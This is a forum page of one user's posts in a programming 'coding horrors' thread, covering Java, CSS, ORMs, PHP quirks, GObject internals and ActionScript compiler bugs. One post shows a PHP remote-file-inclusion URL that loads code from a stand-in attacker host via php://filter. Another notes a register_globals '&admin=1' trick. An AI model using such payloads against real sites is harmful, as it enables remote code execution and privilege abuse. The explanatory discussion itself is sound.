Register a SA Forums Account here!
JOINING THE SA FORUMS WILL REMOVE THIS BIG AD, THE ANNOYING UNDERLINED ADS, AND STUPID INTERSTITIAL ADS!!!

You can: log in, read the tech support FAQ, or request your lost password. This dumb message (and those ads) will appear on every screen until you register! Get rid of this crap by registering your own SA Forums Account and joining roughly 150,000 Goons, for the one-time price of $9.95! We charge money because it costs us money per month for bills, and since we don't believe in showing ads to our users, we try to make the money back through forum registrations.
 
  • Post
  • Reply
Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe

TasteMyHouse posted:

He's assigning to a final variable. I guess final as applied to array variables in Java doesn't make the elements of the array itself final? Or did this even compile?

A final variable in Java is a special trick that allows closure-like behavior.

See this page for more information.

Adbot
ADBOT LOVES YOU

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe

NotShadowStar posted:

Every single one of them should be called out and publicly shamed. They took the brilliant Smalltalk language and hosed it all up because they thought that they couldn't sell something to aspergers filled engineers if it didn't look tangentially like C++.

I should take the time to point out that there are three things that we call Java:

  1. The Java language. It's very restrictive, silly, and behind the times. Simple concepts like "for...each" were introduced way after they should have been.

  2. The Java standard library. This is a huge thing. Parts of it are good, parts of it are bad. Speaking as a Linux desktop engineer, the part I deal with the most is AWT. AWT, or at least the X11 part of it, is trash. It implements grabbing a window's bitmap contents by asking the X server for one pixel at a time (see Java_sun_awt_X11_XRobotPeer_getRGBPixelsImpl), rather than using anything modern like XShmGetImage. I can't speak for the Windows or OS X parts of AWT, or for the rest of the standard library. It's been worked on by very smart people. It's been worked on by not so smart people.

  3. The JVM. The JVM is a very, very good piece of smart engineering. Java the language doesn't really show off the raw power of the JVM that well. Other languages like Scala or Jython show off the raw JVM much better than Java, the language.

Suspicious Dish fucked around with this message at 02:13 on Dec 1, 2011

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe

Aleksei Vasiliev posted:

code:
Some idiot once said that premature optimization is the root of all evil.

I hope you learned your lesson.

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe

DotFortune posted:

code:
switch(thefile_counter){
    case 1:
        break;
    case 2:
        break;
    case 3:
        break;
    ...
    case 52:
        break;
    case 53:
        break;
    case 54:
        thefile_counter = 0;
        break;
}
Yes, there were cases four to fifty-one. I hate undergrads.

Switch statements are jump tables, so they're faster than if statements!

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe
I know Zope is all sorts of terrible ideas and bonghits, but this is just atrocious: minjson.py. It tries to use Python's tokenizer to parse JSON. It works as well as you think it would. Considering I've made a hand-written JSON parser in an hour to win a bet, there is no excuse for this.

(The bet was related to Prototype's use of regex to validate JSON and then parse it using eval(), which is a horror in and of itself. I bet money that there was no excuse -- the JSON spec was easy enough to hand-write a recursive-descent parser for in an hour. I won.)

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe

evensevenone posted:

I really liked the period of time where the harder/uglier it was to do something in CSS the more likely common it was because 98% of the CSS tutorials on the web were three-column layouts and rounded corners.

I still think CSS is terrible for layout. There's 1000 different ways to "center something", and they all have their own drawbacks. It's amazing to me that there's a whole society of people who have been brainwashed into believing that position: absolute; top: 50%; left: 50%; margin-top: -300px; margin-left: -400px; is better than <center>.

I'm all for separation of content and markup, but what I feel CSS needs is horizontal-position: center; vertical-position: center;, which the browser would do all the correct math to center the element relative to the parent. I've heard there's a float: center; in CSS3, and there's that new fancy flex box stuff, so I guess there's things to look forward to.

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe

NotShadowStar posted:

code:
margin-left: auto; margin-right; auto;
The reason there isn't a center position attribute is exactly why the above only works if you have the parent have a specified width. Otherwise, what are you centering on? The container? Well how big is that? It's a slippery slope with so many failure cases.

Only works with a specified width, and now you need a wrapper <div> to add a margin.

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe

wwb posted:

That isn't horribly bad code there -- they are cleaning up using the finally block. VB.NET didn't have using(){} until the VS2010 version AFAIK so it makes sense.

I believe you can have a Try...Finally without the catch in the middle, so you don't have to silently ignore exceptions.

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe

Markov Chain Chomp posted:

The rule of thumb is to prefer more abstraction, not less, unless you have a very particular reason for doing so.

I apparently have very good particular reasons all the time, then.

Furthermore, SQL is already an amazing abstraction. It completely takes out of the picture of how to store data and just lets you write "please insert this data, thanks". All an ORM does is let you pretend that tables are classes and rows are objects and columns are members.

Not only are there cases when pretending things are objects is not OK, there are cases where ORMs do not provide the expressive power of raw SQL. Just like compiling from a high-level language to assembly restricts you to the subset of features that the high-level language has, compiling from an ORM's language to SQL restricts you to the subset of features that the ORM has.

And because SQL is a unique language in that it lets you express what you want to do, not being bogged down by implementation details, you're cutting out a lot of features when you restrict yourself to an ORM's feature set. For simple CRUD operations, this is perfectly fine, but when you start wanting asking complex queries like "what's the average of all the star ratings that customer A, B and C for products they ordered in the last thirty days that shipped in under a week?", you start pushing the limits of the ORM. Yes, this was a real report that I implemented two weeks ago.

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe

Bozart posted:

While I haven't used whatever that stuff was, using exclusive upper bounds on ranges is great for things like spans of time. There would probably be an object for that which would attempt to do this for you. But anyway here's an example: you have a function that will tell you if a given date and time are considered "off peak" for the eastern us power grid. You want to know how many off peak hours are within a given week, say, the week starting 12/11/2011. Then you can call this function over the range [ 12/11/2011 .. 12/18/2011 ) and there is no ambiguity about the first hour of 12/18/2011.

I don't want to use a language designed by you. Date literal syntax? And yes, it seems terrible that we have two range syntaxes, when we only need one.

Also, somebody decided to take Sinatra, port it to Perl, and call it "RESTful". The result? Mojolicio.us

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe
For some reason, it's been picked up in JavaScript because it calls [[ValueOf]] and does nothing else. So you'll see stuff like:

Dumb JavaScript Tutorials posted:

You can use +new Date to get the current time in milliseconds!

not realizing that it's just the same as (new Date).valueOf(), or (new Date) + 0 or something like that.

Oh, and because you can overload it in Python, you can do some fun tricks with it. In fact, my ailment.py is a coding horror in and of itself. Just for some mindless fun.

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe

AlsoD posted:

As somebody with no database experience whatsoever, how would a thread with its posts be represented? Each sub-forum a table, each thread a column and each new post a row?

That is not how databases work. You could model it in three different tables: forums, threads and posts. A post would have a foreign key column to a thread, and a thread would have a foreign key column to a forum.

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe

kitten smoothie posted:

Thankfully this "feature" is no longer enabled by default in PHP. In PHP5 they split the access controls out for fopen() and include(), so under the default configuration, you can fopen() a URL but you cannot include() a URL.

allow_url_fopen doesn't stop it, because it still allows php:/// URLs:

code:
[url]http://badlywrittensite.us/index.php?page=php://filter/resource=http://evil-attackers-lair.ru/download-and-install-ddos-bots.php[/url]

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe
There's also the horrible thing about time: it's not a function, continuous or not. There are dates and times that have never happened. There are dates and times that have happened twice or even thrice.

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe
Sure, you can do that. You would need a lot of crazy timezone data like the link ymgve posted. The problem is being able to have a user say "I want an alarm to go off at 1:30 PM on November 4, 2012" and convert that back into a timestamp.

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe
If people haven't written a polyglot yet, it's quite fun. Here's a Python and C polyglot I wrote a little bit earlier:

code:
#include <stdio.h>
#define exec(S)
#define semi(S) S;
#define close_brace }
#define if(C) if (C) b

#define def static int
#define def_factorial(A) factorial(int A) { a

exec("\n\
def printf(f, *a):\n\
    print (f % a).rstrip()\n\
\n\
def dummy(*a):\n\
    pass\n\
\n\
semi = main = dummy\n\
")

def def_factorial(N):
    if(N == 1):
        return 1;
    return factorial(N - 1) * N;
    close_brace
#if 0
factorial = def_factorial
#endif

main()
{
semi(printf("The factorial of 20 is %d!\n", factorial(5)))
}
It relies on Python 2.7, because I abuse the set syntax in there.

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe
The big problem with Python 3, for me at least, is that its handling of bytes is really, really terrible. Read this bug report, for instance. The incorrect responses from the Python maintainers are embarrassing.

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe
Even better: http://codepad.org/8BAzFDfi

php:
<?php

if (true) { function foo() { echo "php"; } }
else { function foo() { echo " sucks"; } }

foo();

if (true) { function bar() { echo "php"; } }
  else { function bar() { echo " sucks"; } }

bar();

Output:
php sucks

It's dependent on the whitespace at the beginning of the line, too.

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe

Soup in a Bag posted:

I just tried Plorkyeran's first example in 5.1.2 and it did print 'php sucks'.

code:
jstpierre@jstpierre-lappy ~/Source/php/php-5.1.2 $ cat ~/dumb.php
<?php

if (true) { function foo() { echo "php"; } }
else { function foo() { echo " sucks"; } }

foo();

if (true) {
    function bar() { echo "php"; }
} else {
    function bar() { echo " sucks"; }
}

bar();
jstpierre@jstpierre-lappy ~/Source/php/php-5.1.2 $ ./sapi/cli/php ~/dumb.php 
phpphp
Nope. Not sure if it's related to config or my compile-time settings, in which case it would be extremely strange. Seems to be a codepad bug.

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe

yaoi prophet posted:

Haha, apparently by default exit is bound to a Quitter object whose __repr__ is that 'Use exit()' message.

Right. The reason it doesn't just quit on __repr__ is because anything that calls repr() on it will quit the program. There are quite a few tools in the stdlib that do, so using those tools on the global scope shouldn't just abort randomly.

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe
Move over AES and PGP, it's time for "The most secure data cryption program in the world": KRYPTOChef!

AES and PGP are public algorithms, which means that anybody can study them to learn how they work and decrypt any file. KRYPTOChef is different:

KRYPTOChef posted:

It will be a self-developed by me (ONLY) in KRYPTO used (OTP encryption method) is used.
KRYPTO can neither humans or computers, without the right key or password unauthorized to decrypt.
The access to the program itself KRYPTO via username and password in the highest depth protected encryption.
KRYPTO one of the world, the most secure data encryption programs. It is time the world is not a safe data
cryption program as KRYPTO which is offered anywhere.
KRYPTO is absolutely secure against unauthorized data decryption.

It even has proof of its security! Watch:

KRYPTOChef posted:

Proof of the Krypto security !
Which would be, if one would try one of Krypto coded file unauthorized to decode.
A coded file with the length of 18033 indications has therefore according to computation,
256 bits highly 18033 indications = 6,184355814363201353319227173630E+43427 file possibilities.
Each file possibility has exactly 18033 indications byte.
Multiplied by the number of file possibilities then need results in the memory.
Those are then: 1,1152248840041161000440562362208e+43432 byte.
Those are then: 1,038634110245961789082788150963è+43423 Giga byte data quantity.
That is a number with 43424 places.
I can surely maintain as much memory place give it in the whole world not never.
And the head problem now is, which is now the correctly decoded file.
Who it does not know can only say there. That does not know so exactly !

For those not versed in idiot, this says: "The permutation of files with 18,033 bytes is a number with over 43,424 places."

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe
There's another whole side of metaprogramming: C even has a side of this, since it has no OOP by default. You can still get a lot of work done right out of the box, though.

You don't have objects in C, but you can implement one. You can even get a little more advanced, and use more structures and function pointers to implement virtual methods.

This is a simplified version, but this sort of system is the core of GObject. Of course, it's a little more advanced than this, because all those static sub_object_class things that I create don't exist (we have a system called GType).

And of course GObjects have other things that modern OO environments have, like properties (which are somewhat of a mess to write right now, but people are working on it) and signals (the latter involving a whole generic "Variant" type called "GValue", and a marshaller system so that you can call function pointers with the right arguments).

There's a lot of cool tricks in GObject, some of them on the line between "awesome" and "horror", and if people are interested, I'll explain this stuff.

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe

Look Around You posted:

I've browsed through the GObject documentation a bit but still don't entirely comprehend it all. It seems like a lot of it relies on how C requires structs to be laid out in memory though.

Very much so. The whole subclass casting thing relies on how things are laid out in memory. Here's a diagram:

code:
     BaseObject
+----==========-----+
| char *object_name |
+-------------------+

      SubObject
+-----=========-----+-------------------+
| BaseObject parent | char *description |
+-------------------+-------------------+
So, the struct BaseObject is the size of a pointer, because a struct is the size of its contents. The struct SubObject is the size of BaseObject, plus the size of a pointer. For the sake of simplicity, let's say that a pointer is 4 bytes.

If we have a SubObject *, it's saying that it's pointing to something that's 8 bytes long, and let's say, in memory, that's at 0x12340000. But since the structs are nested, there's also a valid BaseObject * at that location. Casting to a BaseObject * simply changes the pointer's size - it doesn't change the pointer's location at all.

So inheritance is done by nesting structs. As we nest, the structs cannot get any smaller, and because the parent class is always the first item in the struct (at offset 0), as we nest and nest, if you unfold out the structures, the base class is always at offset 0 in memory:

code:
     BaseObject
+----==========-----+
| char *object_name |
+-------------------+

                SubObject
+---------------====+====---------------+
| BaseObject parent | char *description |
+-------------------+-------------------+

                       SubSubObject
+----------------------============-----+----------------+
|           SubObject parent            | char *nickname |
+-------------------+-------------------+----------------|
So, ((BaseObject *)my_sub_sub_object) will always be correct.

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe

Look Around You posted:

Yeah, multiple inheritance fucks poo poo up. I'm pretty sure GObject uses vtables though which I think most C++ compilers use for virtual functions.

Sort of. It puts vfunc declarations in the class structs, and has subclasses install their own overrides in the class_init.

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe

The1ManMoshPit posted:

Somebody's never included <Windows.h> and had to deal with nonsense error messages while trying to compile calls to std::max and std::min, or while trying to declare enum Distance { NEAR, FAR }; only to find they have been boned by all the windows #defines.

Xlib has the same thing. It has #define None 0, which breaks LLVM and Qt and countless other things which do:

code:
namespace llvm {
  class None {
  };
};
As such, KDE has an entire header file, fixx11.h.

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe

Shady Amish Terror posted:

A good example was a short in-class project where we had to write some simple code in the fewest lines possible. I beat the instructor's ~30-line example by something like six lines... by concatenating as many variable definitions as I knew how and using a loop iterator variable as data AND in a separate break condition within the loop. This was in freshman year, and pretty much set the tone of my programming since.

These sorts of challenges are fun and give a clear definition of the goal to enable competitiveness. It's a great thing to clear your mind with after spending six hours staring into the abyss wondering why the hell these backtraces don't make any goddamn sense what the hell gdb what is wrong with you.

Of course, the trouble happens when some confuse work with play.

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe
Go Twitter!

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe
Context: this post.

Let's start with what I called "stooge maps". They wanted an ordered set of key-value pairs in JSON. How did they choose to represent it?

code:
[
  { 'foo': 3 },
  { 'bar': 10 }
]
The linear lookup power of a list, combined with the API usefulness of a hash map! Here's the code that built it, and yes, that whole file is a horror.

And of course, it's a pain to parse:

code:
function parseStoogeMap(stoogeMap) {
    var obj = {}, keyOrder = [];
    for (var i = 0; i < stoogeMap.length; i++) {
        var key, value, pair = stoogeMap[i];
        for (key in pair)
            break;
        value = pair[key];
        obj[key] = value;
        keyOrder.push(key);
    }
    return { obj: obj, keyOrder: keyOrder };
}
Of course, they couldn't use jQuery or GWT (as I explained in the post linked above, they were afraid of running out of support. Rolling their own stuff meant that the engineers would know the codebase better. Bah.)

They have their own module system, of course, but it's not what you think. I have no idea why things are even divided into modules when everything still writes to the global namespace and they all cross-reference each other (even the base module code makes reference to registerModule and raiseEvent, which is in another file)

We had a system where we needed fancy tooltips. I don't have CVS access any more, but the code looked like:

code:
function createCallout(calloutID) {
    var html = new StringBuffer();
    html.append('<div id="callout_').append(calloutID).append('">');
    document.getElementById('calloutFactory').innerHTML = html;
    var tbl = new StringBuffer();
    tbl.append('<table class="callout_outer_table" id="callout_"').append(calloutID).append('_outer_table">');

    // ... snip more innerHTML manipulation to set up the
    // callout's layout with fancy tables ...

    tbl.append('</table>');
    document.getElementById('callout_'+calloutID).innerHTML = tbl;
    document.getElementById('calloutFactory').innerHTML = "";
}
I decided to spend an afternoon rewriting that code for my sanity.

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe

Flobbster posted:

Back in the early 90s, Amiga OS programmers called these things "tag lists"! Looks like someone was reminiscing a bit.

Of course, that was back before we had fancy associative maps.

I would have been fine if it was [ ["foo", 3], ["bar", 10] ] or even [ "foo", 3, "bar", 10 ]. I fully accept that JSON doesn't have an "ordered map" type. It's just awkward and inconvenient to represent a key/value pair by a JSON dictionary.

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe

Janin posted:

{'foo': 3} isn't even valid JSON :argh:

Oh yeah, JSON requires double quotes for strings. That's not the code's bug, it's mine.

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe

it is posted:

I don't see what's wrong with it.

it is posted:

That makes 2 of us. It's fine.

Are you having an identity crisis too?

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe
Oh, the rabbit hole goes much deeper than that.

First, an old PHP feature: bare strings. In PHP, $foo = hello; is equivalent to $foo = "hello";, even though this triggers a warning in newer versions of PHP.

$foo is really shorthand for ${foo}, which is really shorthand for ${"foo"}. The thing inside the braces can be any arbitrary PHP expression, so $$foo is shorthand for ${${"foo"}}.

You can even do this:

php:
<?php
$wow_php_is_dumb "what did you expect?";

$language "php";
echo ${wow_ $language _is_dumb};

Try it at home!

You can do:

php:
<?php
$wow_php_is_dumb_times_100 "are you not getting it yet?";

$language "php";
echo ${wow_ $language _is_dumb_times_ (10*10)};

Link!

Now, remember.... any PHP expression.

Go ahead and digest this. I'll wait.

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe

Otto Skorzeny posted:

Nope

C only goes fast because compilers are allowed to write code that doesn't do what you wanted.

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe

darthbob88 posted:

It would combine all the wisdom of Stack Overflow with the democracy of Reddit, in a final product that would, he assures me, make us zillions of dollars if I just do the backend work for him.

Ah yes, zillions of dollars by basing your business model around sites that have had lots of trouble finding a viable monetization strategy.




runupon cracker posted:

code:
var y:Number = this.y;

This is ActionScript 3? If they profiled this, this could result in a big speedup during a tight loop. Adobe's ASC compiler is terrible, and this.y compiles to:

code:
getlocal 0
getproperty ::y
... Every time the variable is referenced. This would result in a hashmap lookup... But there's a JIT, right? Nope! The JIT just emits code that calls a "getproperty" thunk that does the aformentioned hashmap lookup, as it could trigger a getter. If this.y is a property getter, as it is on a DisplayObject, that means running the getter on every lookup, too.

Wheras var y:Number = this.y; will only do the hashmap lookup and getter once. It looks like:

code:
getlocal 0
getproperty ::y
convert_d
setlocal 1
(The convert_d instruction is the cast to Number)

For more evidence of Adobe's inability to write a decent compiler, have a puzzle: obj[prop] += 5; naively desugars to obj[prop] = obj[prop] + 5; (where obj and prop are arbitrary expressions). Guess why this is semantically incorrect and slow, kids!

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe

ToxicFrog posted:

What you seem to be implying is that both obj and prop will get evaluated twice, complete with any side effects, and with the added bonus that either or both could have different values on the left and right hand sides as a result of said side effects.

Yep. That's exactly it.

pre:
$ cat asctest.as
var a = [0, 1];
var i = 0;
a[(i++)] += 1;
print("a is ", a);
print("i is ", i);

$ ./avmshell_64 asctest.abc
a is 2,1
i is 2

$ fusion-swfdump asctest.abc | gist
https://gist.github.com/1875229
If you can't read that, don't worry, most of it is junk for setting up the environment. Just note that there are two increment instructions there. Also, for some strange reason the bug goes away when I remove the parens.


Aleksei Vasiliev posted:

That's giving Adobe a lot of credit.

If you're curious about the history, the compiler was contracted to Jeff Dyer of the Mountain View Compiler Company by Macromedia. Eventually he dropped his compiler company and went full-time at Macromedia, and even served on TC-39, the ECMA standards commitee that standardizes ECMAScript. He left Adobe a little while ago, and is now doing his own thing called "Art Compiler":

Useless Web Page
Not so useless, if outdated, web page
GitHub page
His explanation when I asked him about it at a year ago

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe

Jabor posted:

Man, changing the indentation of code really screws up git diffs.

You can use git diff -w to ignore whitespace. Thankfully, GitHub exposes this feature too: add ?w=1 to the end of URLs, like so:

https://github.com/php/php-src/commit/0accb4b0094b8fdda905e0a374843f0c775f4537?w=1

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe
They do know that power is not ^, right?

EDIT: also, please tell me that you replaced it with return (2 << writelength_upper) - 1;.

Suspicious Dish fucked around with this message at 23:25 on Feb 24, 2012

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe
I wonder how many GPL violations there are here...

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe
I don't understand how register_globals is a security bug at all. It's a terrible idea, sure, but not a security risk. The biggest argument that I've heard is that apparently arguments from $_GET get filled in before arguments from $_POST, so the user can add &admin=1 to the query string to get admin privileges or something. Do people really expect valid and correct information in $_POST or $_COOKIE or any of the other globals? Of course $_POST['admin'] is much more secure!

Adbot
ADBOT LOVES YOU

Suspicious Dish
Sep 24, 2011

2020 is the year of linux on the desktop, bro
Fun Shoe
Wouldn't that already cause an "unset variable" error in PHP? Or do people really just Google for "php unset variable" and go "oh OK disable_errors(); should fix it".

  • 1
  • 2
  • 3
  • 4
  • 5
  • Post
  • Reply